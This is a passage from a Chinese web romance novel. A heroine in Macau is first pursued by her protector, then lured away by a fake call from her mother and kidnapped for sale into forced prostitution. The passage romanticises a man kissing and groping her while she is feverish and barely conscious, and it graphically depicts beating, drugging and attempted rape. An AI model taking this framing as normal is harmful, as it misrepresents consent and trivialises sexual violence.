“38.3℃,应该是破伤风的疫苗反应。” 沈韫浓有气无力地点点头。 楼铮替她掖好被子,又按铃吩咐管家去请个医生过来。 大半夜的,沈韫浓不想折腾,赶忙拦他:“不用,知道怎么回事就行,我喝点水,睡一觉就好了。” 楼铮拗不过她,转身出去,倒了杯水,又拿了两片阿司匹林要喂。 沈韫浓又拒绝:“之前有医生说烧到38.5℃才需要吃药,我现在不用,喝水就行。” 生病的人总有各种各样的小脾气,都是小事,楼铮就顺着她,盯着她把水喝了。 一杯温水下肚,沈韫浓稍微舒服些,又闭上眼昏昏欲睡。 半梦半醒间,她感觉到有人在用凉帕子替她擦汗,很舒服。 帕子擦了额头,脖子,又伸进衬衫里。 刚觉得舒服一点,那块帕子就要移走了,沈韫浓闭着眼,用身体去追逐帕子,不想让他离开。 她抓帕子的时候,抓到一只手,那只手隔着薄薄的一层布正落在胸口。 楼铮喉咙发紧,呼吸微微急促。 他想起,上一次他们一起出海,沈韫浓也发烧了。 那一次…… “沈韫浓,你还记不记得,我跟你说过,发烧怎样好得最快?”楼铮嗓子哑透了。 第一百零二章 禽兽和禽兽不如 沈韫浓现在什么都听不进去。 她又燥又渴,像一个在沙漠里走了许久的人,那块帕子,就是水源。 找到了,便不愿放手。 隔着一层布料,楼铮能清晰地感受到她的心跳,一下一下地在他手下脉动。 攥着他那只手,并没有多少力气,要想挣脱出来,轻而易举。 可他最近想她想得厉害,如今日思夜想的人就在面前,楼铮的自制力已经到了溃败的边缘。 那块帕子在沈韫浓体温的作用下,已经开始温热,渐渐地开始高过她的体温。 她松开楼铮的手,又把手伸进衬衫,把那块帕子往外扯。 帕子出去了,楼铮的手还在。 云团在他的掌心,他全身的血液集中到了一处。 信念,道德,边界……所有的一切在一瞬间崩塌,楼铮满脑子只剩一个念头。 将她拆吃入腹,哪怕她醒后生气,拿刀把他捅了都行。 “沈韫浓,把热度传染给我,你就好了。”他倾身上去,把一只手臂撑在她身侧,鼻尖贴上她的。 沈韫浓浑浑噩噩的,对他的动作一点反应也没有,还因为热,在他身下扭动了一下。 楼铮心里有碎裂声,那是他多年来引以为傲的自制力分崩离析的声音。 欺负一个生病的人是禽兽,被心爱的女人勾引还无动于衷,那就是禽兽不如。 稍微尝尝,就当解解馋。 楼铮决定稍微奖励一下自己这段日子的克制,他伸手扣住沈韫浓的后脑,去吻她的唇。 一下一下,轻轻地浅啄。 原本不过想浅尝辄止,可后来,便由不得自己做主了。 楼铮把这个吻加深再加深,撬开她的牙关,逼着她跟自己纠缠。 生病的人娇气,哼哼唧唧的声音,不知道是抗拒,还是要他更进一步的鼓励。 楼铮的胸腔里是夏日蝉鸣般的鼓噪。 他的眸子深暗中透着猩红,唇齿划过脖颈,渐渐往下…… 此时,门铃声突然响起。 管家在内线电话里说:“先生,医生到了。” 旖旎的氛围被打破,楼铮喘着粗气,停下所有动作,坐起身来。 他有点想跟发明门铃的人同归于尽。 楼铮替沈韫浓把衣服整理好,才让开了门。 医生来了,替沈韫浓又测了一下体温,已经烧到了快39℃。 他说:“可以先吃退烧药观察,我就在客厅守着,要是天亮还不退,再去医院。” 楼铮点头,满脸不豫。 医生见他神色不满,小心翼翼道:“打破伤风后发烧是正常现象,您不用过分紧张。” 楼铮黑着脸:“嗯。” 他怎么看都不高兴,以至于医生从药箱里拿药和退烧贴的手都在抖。 “不过,病人这种情况,不知道能不能配合吃药……” 楼铮:“给我就是。” 医生把药拿出来,只见楼铮接过含在自己嘴里,扳过床上病人的脸渡了进去。 又含了一口水,同样的喂法。 动作一气呵成,病人全程眼睛都没睁开,就把药吃了。 医生忐忑地别过眼去,只怕自己知道太多被灭口。 第二天,沈韫浓再醒来时,她躺在床上,楼铮不在。 她坐起身,摸过手机看表,已经上午9点了。 昨天贺今朝说今天顾曦薇会平安回来,回来后,应该知道自己来找她了吧? 沈韫浓揉着太阳穴起身,才发现楼铮正睡在卧室的沙发上。 她蹑手蹑脚地走到他身边,蹲下身看他。 这个沙发不大,楼铮那样高,窝在其中看上去更是尤其不舒服。 他的眼底有青黑色,大概是昨晚一直在照顾她,根本没怎么睡。 沈韫浓对着他的脸虚虚地伸手,指腹停在离他的眼睛一公分处。 异样的情绪从心底闪过,她脑子里回想起昨天发生的一切。 其实,她来澳城的时候,就知道事情恐怕没那么容易办成。她也是人,也会在心里害怕。只有从楼铮出现的那一刻开始,她才是踏实的,仿佛溺水的人看到了救生圈,知道自己不会死了。 哪怕是后来在路上那点小插曲,她又短暂地受了惊吓,却依然知道,有楼铮在,她就是安全的。 沈韫浓仔仔细细回忆了一下,人生这二十年里,除了楼铮,好像没有其他人给过她这份安全感。 多可怕,她已经在心里依赖楼铮了。 这个认知把沈韫浓自己都吓了一跳。 她猛地收回手,就要起身。 猝不及防,面前的眼睛睁开来。 楼铮似乎计算好了时间,将她痴迷的模样捉个正着。 他的眸如一个深不见底的黑洞,要将她吸进去。 沈韫浓莫名一慌。 “你怎么不睡床上啊。”她没话找话。 楼铮乜她:“呵,我们什么关系啊,睡一张床合适吗?” 沈韫浓怔了一下:“哦,昨天,谢谢了。” 她说着,便要站起身,结果被楼铮扯住左臂往怀里一带,也跟着跌坐在沙发上。 楼铮抱着她,身上的气息很热,还带着男人刚起床的生理反应。 沈韫浓僵在他怀里,一动不敢动。 可楼铮脸皮厚:“这我也不是故意的,一大早的,你能体谅我的吧?” “你拉我干什么!”沈韫浓有些羞恼。 下一秒,温热的手覆上她的额头,又扳着她的脸,用自己的额头贴了贴。 楼铮低笑道:“折腾我一夜没睡,好歹你烧倒是退了。” 他嗓子带着刚起床的哑,呼吸间的热气喷洒在沈韫浓颈侧的皮肤上。 沈韫浓觉得,自己好像又烧起来了,她有些坐不住。 “你先放开我,我想喝水。”她气息不稳。 楼铮也不敢再撩了,毕竟擦枪走火,看见吃不着难受的是他自己。 “去吧,我也要喝。”他放手。 沈韫浓喝了水,之后,又端了一杯给沙发上没骨头似的楼铮。 楼铮懒洋洋张嘴:“喂我。” 沈韫浓皱眉:“你不喝就算了。” 她把水放在他手边的茶几上转身走了。 楼铮失笑,小没良心的,看来病是好透了。 他自己喝了水,出去拿了个袋子进来递给沈韫浓。 “去换衣服,换完去姑姑那里吃午饭。” 第一百零三章 情侣色 沈韫浓原本不太想去,一想到还要顾曦薇的事还要靠贺家,便也没有推辞。 好在有楼铮在,不会有危险。她默默地想。 她去简单洗了个澡,换上了楼铮让人买给她的那套衣服。 从内到外一整套,还都清洗过了,带着好闻的木质香气。 细节怪再次上线,连内衣的尺码都是对的。 沈韫浓一边穿一边想,楼铮大概是除了她自己之外,最了解她的人吧。 毕竟哪怕是顾曦薇和林贞,要送她衣服,也都会犯外衣买大,内衣买小的错误。 外面那条裙子是浅蓝色,长及脚踝,看上去很保守的款式,偏偏一穿上,才察觉它的厉害之处。 它颜色好,将人衬得很白嫩轻盈,剪裁又好,修身但不刻意,沈韫浓穿上自己也觉得喜欢。 可她也就喜欢了那么一会儿,在出去看到楼铮后,瞬间脑子“轰”的一声。 楼铮穿了同色系衬衫。 ……故意的吧?! 沈韫浓看了他好几次,欲言又止。 一直到临上车前她不得不开口:“你要不要换件衬衫?” 楼铮明知故问:“怎么了?” 沈韫浓:“贺夫人看到不太好吧……” 楼铮:“怎么了,普通朋友就不能穿同色系吗?还是你心里有鬼,喜欢我,所以心虚?” 沈韫浓:“……” 她突然不想说话了。 行吧,毁灭吧。 半山别墅到贺家老宅只有十几分钟车程。 路上,沈韫浓忍不住问了一下贺今朝的事。 跟她想的差不多,贺今朝是贺尊华的私生子。 一直瞒的很好,直到年前生母去世,被接回贺家老宅,这事才闹开来。 关键是,贺今朝的外祖父家也不是小门小户,在澳城有些势力,这就不是楼明月随便给点钱能打发的。 “难怪他叫贺少二少。”沈韫浓说。 楼铮幸灾乐祸:“那混蛋不得被这个称呼怄死。” 沈韫浓不合时宜地想起贺韶瑭对他“海市第一混蛋”的备注来,有点想笑。这哥俩果然是真爱,不在一起搞骨科可惜了。 本以为楼铮在澳城的别墅已经够奢侈,车开进贺家老宅,沈韫浓才知道什么是山外有山。 贺家老宅比很多景区都大,里面竟然还有一片带泉眼的天然湖泊。 真是十步一景,穷奢极侈。 沈韫浓四处看着,心里感慨有钱人那么多,为什么就不能多她一个。 “喜欢啊?”楼铮问她。 喜欢给你建一个。 沈韫浓摇头:“看别人有很羡慕,换了自己一个人住这么大地方,估计只剩空虚和害怕了。” 这话楼铮没接。 想什么呢,一个人住? 老宅的管家出来迎接他们,将他们一路带到楼明月住的院内。 除了佣人,只有楼明月在。 楼明月一见两人先笑了。 “郎才女貌。”她夸赞。 楼铮象征性勾了勾唇,表示对姑姑的夸赞很满意。 沈韫浓不打马虎眼,她说:“只是不小心撞颜色了。” 楼明月:“对,瞧我怎么把实话说出来了。” 沈韫浓:??? 您可真不愧是楼铮的姑姑啊,亲生的。 楼明月隆重款待了楼铮和沈韫浓,一直到午饭时间,贺韶瑭才来。 他一看楼铮和沈韫浓的衣服,先拉下了脸。 沈韫浓也是这个时候才明白过来楼铮选这套衣服给她的用意。 幼不幼稚啊?! 四人一起吃饭。 楼明月问贺韶瑭:“跟老头子聊完了?这事怎么处理?” 贺韶瑭:“阿彪废一只手,赶出澳城,赌场一半收入归我。” 楼明月点头:“那还可以,你就不要揪住不放了。” 贺韶瑭面无表情:“晚了,我已经给贺今朝来一枪了。” 楼明月怒目而视:“衰仔!又沉不住气!” 楼铮漫不经心:“你不打,这一枪我也要打。” 楼明月气得拿手指点了点楼铮:“你们两个!” 随即又叹口气表示理解,“不过谁年轻时没几分血性呢,我也是刀尖舔血过来的。不过,我现在年纪大了,修身养性……” 楼铮睨她:“姑姑,您说的修身养性,就是指派人把贺今朝的车撞飞的那种修法?” 楼明月自己也忍不住笑了。 沈韫浓侧目,原来昨晚的碰碰车,是楼明月安排的,她还以为是贺韶瑭呢…… 果然,能在贺家主母位置上稳坐二十几年,让贺尊华连大儿子都不敢带回家的女人,怎么可能会简单。 她垂下眼睑,在这几个人眼里,打打杀杀是极其稀松平常的事。她知道这么多,只求别哪天被灭口吧。 “好啦,不说这些了,别把韫浓吓到。”楼明月看她脸色不对,赶忙说。 沈韫浓抬起头:“贺少,我想问一下,我妈今天什么时候能回来?” 昨天贺今朝说的是今天就能放顾曦薇回来,可如今他跟贺韶瑭都撕破脸了,自己又为贺韶瑭挡了一刀,算是坏了他的事,沈韫浓担心他不肯放人。 果然,贺韶瑭脸上的笑敛了起来。 “贺今朝说你妈培训的地方,在海上。今天风浪大靠不了岸,要迟一天。估计是托辞。你放心,有我在,人一定给你平安接回来。” 沈韫浓眉头皱起来了,她就知道没那么简单。 楼明月知道沈韫浓这趟就是为了找她妈妈来的,连忙安慰她:“你放心,只要人是在澳城的,我保证,全须全尾把你妈妈给你送回来。” 沈韫浓知道,现在已经不是钱不钱的事了,除了相信楼明月,她一点办法都没有。 “谢谢贺夫人!” 沈韫浓这么好说话,这下反倒让贺韶瑭不好意思起来,自己把人骗到澳城,结果事情还出岔子了。 他从口袋里拿出把钥匙,递到沈韫浓面前。 “给,以后再来澳城就不用住酒店了,我在南湾的大平层送你。” 她忙不迭拒绝:“不用,贺少也帮了我,我这算投桃报李。” 再说,等接到顾曦薇她就立马走,澳城这地方,她这辈子都不想再来了。 “你拿着就是了。” 贺韶瑭坚持给,沈韫浓坚持不要,场面一度陷入尴尬。 最终,沈韫浓先找台阶。 “这样吧,房子我就不要了,以后保不齐有能麻烦到贺少的地方,希望到时候贺少能不吝伸出援手。” 贺韶瑭这才把钥匙收了回去。 楼铮心说,还不如要房子。帮忙,有他呢,用得上这个混蛋?但到底是给楼明月面子,没有发作。 四人吃完饭,楼明月问沈韫浓要不要参观院子。 沈韫浓知道他们三个应该有事情要聊,便识趣地避了出去。 楼明月叫了管家带她去。 沈韫浓在院子里慢慢走,正好消食。 她在湖边多停了一会儿,远远的,就看见贺今朝吊着一只胳膊,朝她走了过来。 沈韫浓转身就要走。 “沈小姐,不想知道雪梨现在在哪吗?” 沈韫浓被这句话钉在了原地。 第一百零四章 沈韫浓被骗 贺今朝走近了,沈韫浓看见他右臂缠得跟木乃伊似的。 他的伤可比她严重多了,想必就是贺韶瑭的手笔。 贺今朝伤得不轻,脸上倒不见狼狈,他注意到了沈韫浓落在自己手臂上的眼神,顺势微抬了一下:“知道怎么弄的吗?” 沈韫浓想说还不是因为报应,面上却不动声色。 她没有回答贺今朝的话。 而是问:“我母亲呢?” 贺今朝抬了下眉,又走近了一点。 “雪梨的女儿,真是青出于蓝啊,能把楼铮和我们二少两个这样的人物迷得团团转。” 沈韫浓反感贺今朝的靠近,本能地往后躲出半步距离:“我母亲呢?” “不是说了,在海上。现在风浪大,回不来。”贺今朝说,“不过,你想让她快点回来也有办法。” “什么?” “别跟贺韶瑭了,跟我,我马上让你见到令堂。” 我信你个鬼,沈韫浓在心里骂了句傻×。 她越往后,贺韶瑭就越往前,有那么一瞬间,沈韫浓觉得自己要掉进湖里了。 “贺少,说话就说话,别靠那么近。”她不得不提醒。 贺今朝:“怎么?怕我碰你?跟贺韶瑭行,跟我不行?” 说话间,他的手又要摸沈韫浓的脸。 沈韫浓面无表情:“我怕你左手也保不住。” 她算是发现了,贺今朝这人软硬不吃,拿他当人,也不做人事,对他客气一点用没有。 贺今朝许是没料到她会突然这样强硬,讶异地挑了下眉,也是这时候,才注意到她右臂上的纱布。 “怪不得我们二少怎么失心疯似的偏要打我右手呢,原来你的伤在右边啊。知不知道因为这点事儿,折了我一个左膀右臂啊?嗯,沈小姐?”他伸手捉她手臂。 沈韫浓往后一躲,正色道:“贺少自重。我不知道你在说什么。” 这个人简直不可理喻,明明是他动手在先,居然怪贺韶瑭报复,还把火撒到她身上,典型的玩不起就开始扬沙子。 一时间,沈韫浓更加担心顾曦薇处境了。 待贺今朝还要开口,站在不远处的管家突然走了过来。 “沈小姐,夫人请您过去。” 沈韫浓如蒙大赦,匆匆转身走了。 贺今朝站在原地,眼里一片寒意。 他在湖边很久没有动地方。 后来,手机响起,他接了个电话。 “大少,阿彪那边安顿好了。”手下说。 贺今朝淡声:“雪梨那边也盯紧点,别让人靠近。” “您放心,我派了人24小时盯着。不过……” 电话那头的人迟疑了一下,“最近多了一批生面孔,既不是楼铮的人,也不是二少的,好像要趁火打劫。” 难道是想趁机把人做了,嫁祸到他头上吗? 贺今朝眼神流转,好一会儿才说:“那给他们行个方便,但注意点,别让我们自己人沾上。” “啊?那老爷子不会再怀疑到我们头上吗?”手下有点不安。 “不会,我这几天会去老爷子那里住,顺便养伤。再说了,又不是我们的动的手。” 事情突然变得有趣了起来,贺今朝唇角浮起一抹冷笑。 坏了他的事,哪有这么容易就算了的。 …… 沈韫浓知道,管家是看她被贺今朝缠上,过来给她解围的。 离开湖边后,她又漫无目的地逛了一会儿,等时间差不多了才回去。 会客厅里,贺韶瑭已经离开,只剩楼铮和楼明月。 沈韫浓便把遇到贺今朝的事说了,主要是担心顾曦薇的事情会有变。 楼明月安慰他:“别怕,他无非是借着这件事闹一下,到最后还是会放人,就是时间早晚的问题。你妈妈的事,老头子已经知道了,如果真出什么意外,他跟所有人都不好交代。” 虽然知道是这么个道理,可见不到顾曦薇的人,沈韫浓根本放松不下来。 她只好说:“那就拜托贺夫人了。” 又坐了一会儿,沈韫浓跟楼铮回去。 这次贺家老宅之行,基本上没什么收获。 一路上沈韫浓都很沉默。 “怕了?”楼铮握了她的手,被冰凉的触感激得皱眉。 沈韫浓不作声,好一会儿才道:“我妈虽然糊涂,但她人不坏,对我也挺好的。” 楼铮知道她的意思。 “沈韫浓,你不相信我姑姑和贺韶瑭,也该相信我。”他说。 陆枭已经带着人去还是了,最多再有个半天,也该有消息了。 楼铮的话,让沈韫浓稍微踏实了一点。 两人回到半山的别墅。 楼铮很忙,他是甩了楼氏和聚变的事情来的,这两天没空处理的事情,全推到了下午。自从进门之后,电话就没断过。 “你安心在家,晚饭想吃什么,需要什么,跟底下人说。”楼铮叮嘱她。 沈韫浓胡乱应了,让他放心。 天色渐晚,酒店的电话打过来问她是否续房,沈韫浓这才想起来还没办退房手续。 沈韫浓想跟楼铮说一声,结果管家说楼铮接了个电话出门了。 别墅离新葡京不远,打车也就起步价。 她索性跟管家交代了一句,直接就去了。 到了酒店,她从房间里取出自己的行李箱,办了退房手续。 还没出门,手机响了。 “宝宝,我从游轮回来了。”是顾曦薇的声音。 沈韫浓神经一松,心里一块大石头落地。 “妈,你在哪儿?” 顾曦薇说了一个地址。 又说,“宝宝,你要稍微快一点,妈妈已经两天没吃饭了,身上又没钱,真的好饿。” “好,妈,你等我,我马上去找你!” 沈韫浓给楼铮发了微信,告诉他顾曦薇已经回来了,自己现在就去接她。 她走出酒店,在马路上随手拦了一辆计程车。 上了车,报完地址,司机打量了她好几眼。 沈韫浓满脑子都是顾曦薇,根本没注意那辆车行驶的路线不对。 直到过了两个路口,该左转时,司机选择了直行。 “师傅,你走错路了。”沈韫浓提醒。 司机不为所动,继续一路往前,不仅如此,他还越开越快,在她提醒后猛踩油门。 一时间,沈韫浓心中警铃大作,终于意识到了不对。 她拉车门,发现已经被锁死。 再回拨那个电话,也变成了空号。 不是顾曦薇,她中了圈套! 第一百零五章 卖到三角洲 意识到不对,沈韫浓第一反应是掏出手机,联系楼铮。 而此时,计程车司机猛力将方向往右打,已经在路边一个急刹将车停下。 接着,司机转头看她,眉目间带着得逞的得意之色。 “想报警吗?没有人会救你的。”司机说。 “你要干什么?你是贺今朝的人?”沈韫浓厉声问。 司机不答,突然伸手去后座,薅着她的头发将她往前扯。 沈韫浓大力挣扎,却还是免不了被拽着半边身子往前探。 随即,一块布捂在了她的口鼻上。 那块布上有刺鼻的乙醚味道,沈韫浓拼命屏息,用尽全力挣扎,甚至一只脚踢身侧的车窗求救。 没有人回应她,最终,她眼前一黑,晕厥了过去。 沈韫浓发消息的时候,楼铮正在和陆枭去接顾曦薇的路上。 顾曦薇根本不在游轮上,而是被贺今朝转移到了郊外的一所房子里。 外面有不少人把守,陆枭的人也是盯了一天一夜,才发现这个地方。 他们拍到了顾曦薇的身影,不会出错。 之所以不告诉沈韫浓,是楼铮怕她太担心,跟着过去,太危险。 看到消息,楼铮神色一凛,把电话打去了别墅。 别墅管家说,沈韫浓在半小时前出门去了。 “我们应该是中计了。”他沉声说。 “怎么办?”陆枭也是一愣。 楼铮略微沉吟:“原计划进行。” 他们两人带着人,按计划冲到了那所房子门前。 果然,门口那些把守的人只是意思性地反抗了几下,就四散而逃了,房子面一个人都没有。 调虎离山。 空城计。 楼铮望着空荡荡的房子,眼里尽是寒意。 敢动他的人,就要能承担得起后果。 十分钟后,他们撤退,特地跑出兵荒马乱的模样。 不仅如此,楼铮显得尤其气急败坏,上车前还重重地踢了车门一脚。 “我养你们是干什么吃的!连个人都看不住!”他怒吼,手下们唯唯诺诺,不敢作声。 海市,陈知意看着楼铮气急败坏骂人的视频,弯起一抹冰冷的笑。 因为那条手链,陈知意已经失眠两天了。 沈韫浓敢在她眼皮子底下勾引楼铮,真是把她当死人了。 楼铮是她的,谁都别想抢,也不可能抢走。既然沈韫浓这么爱勾引男人,她就让她勾个够! “人抓到了吗?”陈知意问。 “抓到了,已经在海上了,估计再有几个钟头就能到公海。”电话对面的人说,“明天早上,就能到三角洲了。” 闻言,陈知意露出一抹得意的笑。 等楼铮再找到的时候,怕是沈韫浓都已经接上客了吧。 …… 再醒来时,沈韫浓发现自己在一艘船上,手脚都被绑着。 船舱没有开灯,四周一片黑暗。 她现在才有时间去想,恐怕从酒店那个电话开始,她就已经进了别人设的局里了,至于顾曦薇那个电话。要么是有人用AI合成了顾曦薇的声音,要么,顾曦薇就在他们手里,这些人逼着她说了那些话。 是贺今朝干的吗?因为被打伤了手,气不过,又不敢找贺韶瑭的麻烦,才把账算到她头上? 她小幅度挣扎了一下,判断自己挣脱开绳子的可能性。 头顶的灯突然亮了。 沈韫浓这才发现,舱房门口,有几个把守的人,其中一个光头男穿的跟别人不太一样,应该是绑匪头目。 光头绑匪注意到她这边的动静,径直走了过来。 “哟,小美人,你醒了?”光头在她面前蹲下身来,一脸色眯眯的笑意。 他说普通话,不是澳城的口音。 难道不是贺今朝的人? 沈韫浓心思百转,冷冷地问:“谁让你绑架的我?你要带我去哪儿?” 光头估计没料到她居然还能说出囫囵话来,有点诧异:“哟,美女胆子挺大啊,不怕我吗?” 怎么不怕?沈韫浓的心跳得都快得心脏病了。 可怕有什么用,这些人又不会因为她害怕就放了她。 沈韫浓又问了一遍刚才的问题。 光头说:“第一个问题,我也没办法回答你。但第二个,不妨告诉你。有人给了我500万,让我把你卖到三角洲去做鸡,不管卖多少钱,收入归我,接应的船已经在公海等着了。” 这个答案让沈韫浓遍体生寒。 她习惯性地用指甲掐手心,强迫自己冷静。 “你知道我是谁的人吧?”她问,“出了事他不会放过你的。” 光头显然很感兴趣:“哦?你是谁的人?” 在这个地方,不知道是提楼铮还是贺韶瑭更有用,沈韫浓决定赌一把。 沈韫浓:“我是贺家太子爷贺韶瑭的女朋友,不信你可以去求证,昨天他刚为了我打了贺今朝一枪。” 光头显然不信:“吹牛吧你?我怎么不知道贺太子爷有女朋友?” 沈韫浓一看他面露狐疑,就知道他有点上道了:“看来你消息不灵通,你可以去查一下这两天发生的事,别到时候这个钱你有命赚没命花。” 光头将信将疑,走到了舱外去。 沈韫浓听到了打电话的声音,貌似是这么一句—— “她要真是贺太子的人我可不敢动。” 对方说什么她不知道,但不多时,光头又进来了。 接着,左右开弓给了她两个耳光。 “我问了,你不过是个婊子的女儿,敢骗我!” 沈韫浓被打的耳际轰鸣,很长时间缓不过来。 但她确定了两点:这个人应该不是贺今朝找来的,如果是,他根本不需要打电话求证。另外,顾曦薇也没在他手里。 可除了贺今朝,还有谁会这么恨自己? 沈英耀如今自身难保,总不能还有能力找人绑架她吧? 胡思乱想间,只听外面有个声音道:“往前一英里就是公海了。” 顿时,光头眼里闪起兴奋的光。 “你知道到了公海我要对你做什么吧?”他对着沈韫浓舔了舔嘴唇,伸手要解她的衣服。 第一百零六章 验身 光头的表情,沈韫浓看懂了。 一时间,巨大的恐惧席卷而来,她的心跳一路飙升。 沈韫浓开始拼命挣扎,用了蛮力,试图把手脚从绳子里挣脱出来。 大力挣扎的结果是手腕和脚踝都破了皮,可手指粗的绳子,纹丝不动。 光头看着她挣扎,没有阻止。 “别白费力气了,这里是海上,就算我给你松开了,你也逃不掉的。” 船只已经驶入公海。 没多久,另一艘船逐渐向他们靠过来,是来接人的。 那条船上有个人上了这艘船,进了舱内。 是一个皮肤黝黑的东南亚女人,看扮相像风月场上的妈妈桑。 “我先验验货。”她用带着泰味的普通话跟光头说。 光头淫笑着:“验吧。” 他居然要伸手解沈韫浓的衣服。 沈韫浓出了一后背的冷汗,拼命往后躲。 好在,那女人说:“卖给我,以后就是的人,你出去。” 光头不情不愿,嘴上骂骂咧咧的,但还是带着几个守门的喽啰出去了。 沈韫浓想跟女人谈条件。 “他们把我卖给你多少钱?我可以替自己赎身。”好在她手里有楼铮的那两千万。 “不是钱的问题。”女人说,蹲下身把沈韫浓的裙子撩上去,就要掰她的腿。 “你要干什么?!”沈韫浓惊慌,声音都变了调。 “当然是验货咯,你是不是个雏儿,决定了你的价钱!”女人冷冷道。 “那不用验了,我不是。”沈韫浓冷声道。 女人闻言站起身,带了几分遗憾的样子。 她嘟哝了一声什么,起身出去了。 沈韫浓盯着船舱出口的方向,只觉得屈辱。 过了一会儿,那个光头又进来了。 他居高临下看着她,拎起她又是两个耳光。 嘴里污言秽语:“TMD,老子本指望你卖个好价钱,没想到是被男人玩过的。” 见沈韫浓咬牙瞪他,他又蹲下身,淫笑着摸她的脸:“不过也没关系,反正也卖不上好价了,不如走之前先陪陪大爷,咱们两个可以快活快活!” “拿开你的脏手。”沈韫浓手脚被绑着,挣扎不得,张嘴啐了他一口。 光头没想到她性子这么烈,直接愣了一下。 “哟,好久没见这样的了。小美人,你越反抗我越兴奋。” 他说着,居然开始动手撕起沈韫浓的衣服。 船上都是他的人,呼救没有任何作用。 此时,沈韫浓身上的衣服已经被扯掉了一颗扣子。 她双手双腿被绑着,只能不停地扭动,试图挣脱开禁锢。 对眼前发生的,和未来将要面临的一切的恐惧,席卷着她,以至于沈韫浓拼命在心里盘算一头撞死的可能性。 她没有那么强的贞洁观念,也不是个为了所谓的贞洁不要命的傻子,可她觉得自己受到了侮辱。 “王八蛋,有本事杀了我!”沈韫浓开始用语言激怒他,只希望他一怒之下能给她一刀。 谁知,她越骂,光头越兴奋。 他掐着沈韫浓的下巴,打量她一张小脸。 “还跟老子叫嚣呢?你明天一早就在三角洲做鸡了。今晚让老子爽一下,也算你的造化!” 光头脱她的衣服。 但她的手被绑在一起,阻碍了他的行动。 沈韫浓又柔弱,在他眼里小鸡崽一样,没什么战斗力,不怕。 他从腰间抽出匕首,手起刀落,划开了她手上的绳子。 接着又扑了上来。 谁知,被解开了双手的沈韫浓,突然发了疯一样,用指甲攻击绑匪的眼珠, 对着他的脸疯狂挠下去。 光头呼痛,捂住眼睛,骂了声:“他妈的!” 沈韫浓趁着他捂眼的空当儿,解开了脚上的绳子,之后发了疯的往外跑。 她要跳海。 比起死在这些绑匪的暴行下,死在三角洲的淫窝里,她宁愿死在海里! 船舱里一片混乱,外面把守的喽啰都兴奋地摩拳擦掌。 “这么激烈呢?龙哥可以啊。” “龙哥玩完,也不知道能不能给兄弟们爽爽,啧啧……” 沈韫浓刚跑到门口,又被拖了回去,光头扯着她的头发对着墙壁猛力撞了好几下。 她被撞得眼冒金星,鼻血都流了出来。 “给脸不要,贱人!”嘴上说着污言秽语,已经解开了自己的裤子。 沈韫浓绝望的闭上眼。 希望等她死了,楼铮能替她照应一下顾曦薇吧,最起码别让她一把年纪留在赌场发牌了。 一时间,沈韫浓竟然觉得有点可笑。 早上刚跟自己说好了不再依赖他,临死前却还是第一时间觉得他最能帮上忙。 电光石火之间,船身突然猛烈的晃了一下。 是被撞击的声音。 接着,守在外面的喽啰看到有好几艘不同的船围上了他们。 那条来接应他们的船已经被控制。 包围他们的几条船,甲板上站着人,每个人都举着枪。 “别动,你们被包围了!”一个声音说。 一切发生的很快,突然间有几十个人从不同的船上直接涌上来。 这艘船上的喽啰们还没来得及有所动作,已经被控制。 场面一度混乱。 船舱内的光头也吓了一跳。 “你真是贺韶瑭的人?”他想起了沈韫浓的话。 沈韫浓听到外面的动静,被吓掉的魂儿慢慢往回收。 “我说了你又不信。” 这里是公海,法外之地,开枪也没有人管,她已经听到了枪声。 那些人绑了外面的喽啰,纷纷冲进了船舱,其中一个鼻子上带了条疤的,沈韫浓好像在哪里见过。 应该是楼铮的人。 楼铮是她的救生圈,也是她的良药。 看见他,她奇异地冷静下来。 局面迅速反转,楼铮的人声势浩大,一时间,绑匪落了下风。 除了光头,其余所有人已经束手就擒,来接应的那艘船也停了。 显然,光头已经开始害怕了。 当时接到绑架沈韫浓的任务,他根本没把这样柔弱的一个女人放在眼里,没想到为了救她来了这么多人,他面临被围剿的命运。 跟那几艘船上的火力比起来,他们这艘船简直是草台班子遇上正规军,根本不够看。 光头信了沈韫浓的话,以为来的是贺韶瑭的人。 他的目标,瞬间从要钱变成了保命。 第一反应便是先挟持了人质。 看他不安的神色,沈韫浓本以为自己的小命保住了。 谁知,还没来得及庆幸,就在一瞬间,光头也掏出了一把枪。 “反正得罪了贺韶瑭也是死,要死先拉个垫背的。”他说, 光头一边牢牢控制住沈韫浓,一边把枪先举高,对着房顶开了一枪。 硝烟味在空气中弥漫开。 接着,那杆枪抵在了沈韫浓的太阳穴上。 “谁都别动,动的话,我现在让她脑袋开花!” 第一百零七章 人质 刚落下的心又悬了上去,沈韫浓的一只手臂被光头反剪在身后,太阳穴上传来冰冷的触感。 她的手背关节传来剧痛,一动也不敢动。 果然,光头这一嗓子让来的人都安静下来。 都看见了他的枪上膛,冰冷的枪口就抵着沈韫浓的脑袋。 所有人都僵在当场,甚至往后退了退。 谁也不敢乱动。 此时,这些人考虑的不仅是沈韫浓,还有自己的安危。 抓不到绑匪,他们会死。 要是沈韫浓出了事,他们会不得好死。 一时间,众人都乱了主意,只有那个鼻梁上有条疤的那人还算淡定。 “你放开她,我们不会动你。”那人对光头说。 光头不信他的话,后到:“你们把枪都放下!” 那人抬抬眉毛,听话地把自己的枪摘了弹膛,丢在了地上。 “这下行了吧?”他问。 又举起双手,一点点走进,自报家门:“我听你也是海市口音,我是陆枭,你听说过吧?” 那人愣了一下:“伏虎堂陆枭?” 伏虎堂是海市最大的帮/派,别说他一个道上混的,连沈韫浓都听说过。 陆枭居然是楼铮的人,看来楼铮比她想象得还可怕。沈韫浓默默地想。 接着,她看到陆枭点头,又进了一步,对光头说:“对,是我。你放了她,我跟她交换做人质。” 光头依然将信将疑:“我凭什么相信你?” 他这个级别,平时是接触不到陆枭的,不知他是真是假。 陆枭循循善诱:“我就是陆枭,不信你可以拍我的照片去随便打听。我都被安排过来救她了,她的身份你可以掂量掂量,如果她出事,咱们都得死。” 见光头神情松动,陆枭知道有谈判余地,又补充:“她是楼小爷的人,放了她,你想要多少钱都有。” 这句话跟沈韫浓那句对不上,被光头抓住了漏洞。 “放屁,她刚说自己是贺韶瑭女朋友!” 陆枭不敢置信地看一眼沈韫浓。 她怎么这么说,是觉得楼铮的名头不如贺韶瑭响吗? 沈韫浓尴尬低头。 “你退回去!”光头又厉声说,“再敢进一步,我让她脑袋开花!” “陆枭没骗你,她真的是我女朋友。”一个声音说。 接着,沈韫浓看到了楼铮拨开密集的人群走了进来。 “楼,楼铮?” 光头肉眼可见的更加慌乱,他已经觉得自己必死无疑了。 “是我。” 楼铮点点头,眼睛落在沈韫浓身上。 她衣衫不整,脸已经打肿了,手腕和脚踝都带着伤。 